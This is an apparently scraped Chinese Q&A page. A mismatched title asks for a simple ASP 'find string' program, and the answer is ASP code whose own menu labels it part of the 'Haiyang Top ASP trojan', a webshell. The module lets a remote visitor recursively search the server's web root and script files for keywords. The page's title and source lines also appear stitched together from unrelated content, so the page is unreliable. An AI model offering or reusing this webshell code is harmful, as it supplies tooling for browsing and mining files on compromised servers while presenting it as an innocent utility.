发动机模型下载:谁能帮我编写一个简单的关于asp的" 查找字符串"的程序

来源:百度文库 编辑:杭州交通信息网 时间:2024/05/05 20:12:50

Sub PageList()
showTitle("功能模块列表")
echo "<base target=_blank>海阳顶端网ASP木马@2006α<hr/><ol>"
echo "<li><a href='?pageName=TxtSearcher'>文本文件搜索器</a></li><br/>"
echo "</ol><hr/>Powered By Marcos 2005.02"
End Sub

Sub PageTxtSearcher()
Response.Buffer = True
Server.ScriptTimeOut = 5000
Dim keyword, theAct, thePath, theFolder
theAct = Request("theAct")
keyword = Trim(Request("keyword"))
thePath = Trim(Request("thePath"))

showTitle("文本文件搜索器")

If thePath = "" Then
thePath = Server.MapPath("\")
End If

echo "FSO文件搜索:"
echo "<hr/>"
echo "<form name=form1 method=post action=?pageName=TxtSearcher&theAct=fsoSearch onsubmit=this.Submit.disabled=true>"
echo "路径: <input name=thePath type=text value=""" & HtmlEncode(thePath) & """ id=thePath size=61><br/>"
echo "关键字: <input name=keyword type=text value=""" & HtmlEncode(keyword) & """ id=keyword size=60>"
echo "<input type=submit name=Submit value=给我搜>"
echo "</form>"
echo "<hr/>"
echo "Shell.Application & Adodb.Stream文件搜索:"
echo "<hr/>"
echo "<form name=form1 method=post action=?pageName=TxtSearcher&theAct=saSearch onsubmit=this.Submit2.disabled=true>"
echo "路径: <input name=thePath type=text value=""" & HtmlEncode(thePath) & """ id=thePath size=61><br/>"
echo "关键字: <input name=keyword type=text value=""" & HtmlEncode(keyword) & """ id=keyword size=60>"
echo "<input type=submit name=Submit2 value=给我搜>"
echo "</form>"
echo "<hr/>"

If theAct = "fsoSearch" And keyword <> "" Then
Set theFolder = fsoX.GetFolder(thePath)
Call searchFolder(theFolder, keyword)
Set theFolder = Nothing
End If

If theAct = "saSearch" And keyword <> "" Then
Call appSearchIt(thePath, keyword)
End If

echo "<hr/>Powered By Marcos 2005.02"
End Sub

Sub searchFolder(folder, str)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(Split(theFile.Path, ".")(UBound(Split(theFile.Path, "."))))
If InStr(LCase(theFile.Name), LCase(str)) > 0 Then
echo fileLink(theFile, "")
End If
If ext = "asp" Or ext = "asa" Or ext = "cer" Or ext = "cdx" Then
If searchFile(theFile, str, title, "fso") Then
echo fileLink(theFile, title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.subFolders
searchFolder theFolder, str
Next
end sub

Function searchFile(f, s, title, method)
If isDebugMode = False Then
On Error Resume Next
End If
Dim theFile, content, pos1, pos2

If method = "fso" Then
Set theFile = fsoX.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing
Else
content = streamLoadFromFile(f.Path)
End If

If Err Then
Err.Clear
content = ""
End If

searchFile = InStr(1, content, S, vbTextCompare) > 0
If searchFile Then
pos1 = InStr(1, content, "<TITLE>", vbTextCompare)
pos2 = InStr(1, content, "</TITLE>", vbTextCompare)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
End Function

Function fileLink(f, title)
fileLink = f.Path
If title = "" Then
title = f.Name
End If
fileLink = "<li><font color=ff0000>" & title & "</font> " & fileLink & "</li>"
End Function

Sub appSearchIt(thePath, theKey)
Dim title, extName, objFolder, objItem, fileName
Set objFolder = saX.NameSpace(thePath)

For Each objItem In objFolder.Items
If objItem.IsFolder = True Then
Call appSearchIt(objItem.Path, theKey)
Response.Flush()
Else
extName = LCase(Split(objItem.Path, ".")(UBound(Split(objItem.Path, "."))))
fileName = Split(objItem.Path, "\")(UBound(Split(objItem.Path, "\")))
If InStr(LCase(fileName), LCase(theKey)) > 0 Then
echo fileLink(objItem, "")
End If
If extName = "asp" Or extName = "asa" Or extName = "cer" Or extName = "cdx" Then
If searchFile(objItem, theKey, title, "application") Then
echo fileLink(objItem, title)
End If
End If
End If
Next
End Sub